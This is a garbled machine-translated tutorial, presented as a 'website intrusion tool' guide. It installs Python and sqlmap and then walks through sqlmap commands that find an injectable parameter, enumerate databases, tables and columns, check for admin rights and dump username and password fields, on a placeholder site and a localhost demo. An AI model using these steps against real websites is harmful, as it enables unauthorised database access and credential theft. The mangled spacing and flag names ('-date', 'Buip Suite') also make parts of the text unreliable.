Website intrusion Tool SQL injection artifact

0x 00 Preface

Sqlmap

0x 01 Injection principle

Do not say

End Split Line *****************************************

0x 02 Mounting Sqlmap

　　1. Install Python

Official website https://www.python.org/Select the latest version to download and install

Because Sqlmap is written in Python, no Python environment Sqlmap to run

1. Install Python3 under Linux

A, ready to compile the environment (if the environment is not correct, you may encounter various problems, such as wget cannot download https linked files)

12	yum groupinstall ‘Development Tools‘yum install zlib-devel bzip2-devel  openssl-devel ncurses-devel

2 Download Python3.5 Code package

      wget  Https://www.python.org/ftp/python/3.5.0/Python-3.5.0.tar.xz

There is a Readme file in the installation package, there is write how to install

      Tar jxvf  python-3.5.0.tar.xz      cd Python-3.5.0      ./configure--prefix=/usr/local/python3 make      & & Make Install

Make a soft chain:

      Ln-s/usr/local/python3/bin/python3.5/usr/local/bin/python3

The installation is successful!

If prompted: Ignoring ENSUREPIP Failure:pip 7.1.2 requires SSL/TLS

This is the reason for not installing or upgrading OENSSL:

      Yum Install Openssl-devel

Repeat the compilation scenario python3.5 again:

Prompt to successfully install pip-7.12 and setuptools! at the same time

PIP3 and Pip both suggest that there is no error!

Make a soft chain:

      Ln-s/usr/local/python3/bin/pip3.5/usr/local/bin/pip

Upgrade Pip to the latest version:

      Pip Install--upgrade pip

PIP installation is successful! (Tools for extending Python)

Note:--no-check-certificate means "Do not check certificates" at installation, not plus may not install.

2. Installation package

Requests Package:

      PIP Install requests

Pyquery Package:

      Pip Install Pyquery

Pymysql Package:

      Pip Install Pymysql

　　

2. Installing Sqlmap

Official website http://sqlmap.org/Select the latest version to install

0x sqlmap Common Command Introduction

　　1. Sqlmap.py-u "Http://www.XXX.com/index.asp?id=1"

Determine if the ID parameter is injected: The result contains an "id" is vulnerable field that indicates the presence of an injection

There is an injection, the following steps can be performed successfully ~

　　2. Sqlmap.py-u "Http://www.XXX.com/index.asp?id=1"--dbs

Enumerate all database names that can be listed

　　3. Sqlmap.py-u "Http://www.XXX.com/index.asp?id=1"--current-db

Lists the database names currently in use, assuming the "sqltest" database is listed

　　4. Sqlmap.py-u "Http://www.XXX.com/index.asp?id=1"--is-dba

Determine if the injection point has administrator rights: Returns true to indicate an administrator

　　5. Sqlmap.py-u "Http://www.XXX.com/index.asp?id=1"-D "sqltest"--tables

Get all the tables in sqltest, assuming there is an "admin" table

　　6. Sqlmap.py-u "Http://www.XXX.com/index.asp?id=1"-D "sqltest"-t "admin"--columns

List admin field (column name), assuming there is "username", "Password" field

　　7. Sqlmap.py-u "Http://www.XXX.com/index.asp?id=1"-D "sqltest"-T "admin"-C "Username,password"--dump

Download the value of the field Username,password, if asked whether to crack MD5 encryption, select No to

Now, for a simple injection point (get mode), we've got the data we want.

Want to see the tool injection process using the-v parameter

-level will increase the injection level (default 0 will only determine if the Get,post parameter has an injection point)

If the injection point is the post mode, or the injection point is cookie,user-agent, you can use the-date parameter-cookie parameter to specify

Of course, using Buip Suite to frame a proxy, intercept the packet, the direct-r parameter into the packet can also complete the above injection situation ~

0x 04 Injection Demo

This demo uses apache+php +mysql environment, other environment words

Use Sqlmap input or the same command, which is sqlmap good to do

　　　　　　　

Sqlmap.py-u "http://127.0.0.1/sqlinject.php?id=1"--dbs column all database names

　　　　　

Sqlmap.py-u "Http://127.0.0.1/sqlinject.php?id=1"--current-db lists the current database

　　　　

Sqlmap.py-u "http://127.0.0.1/sqlinject.php?id=1"--is-dba determine if the injection point has administrator rights

　　　　

Sqlmap.py-u "Http://127.0.0.1/sqlinject.php?id=1"-D "test"--tables guess table name

　　　　

Sqlmap.py-u "Http://127.0.0.1/sqlinject.php?id=1"-D "test"-t "test"--columns guess field name

　　　　

Sqlmap.py-u "Http://127.0.0.1/sqlinject.php?id=1"-D "test"-T "test"-C "Id,name"--dump guess the value of ID and name

　　　　

　　　　

On the internet, the pants that are circulating are the following sentence.

Sqlmap.py-u "Http://127.0.0.1/sqlinject.php?id=1"-D "test"--dump-all

Suddenly found that powerful things are often just a word!!

This command will download all the tables in the test database directly to the installation directory output folder

Website intrusion Tool SQL injection artifact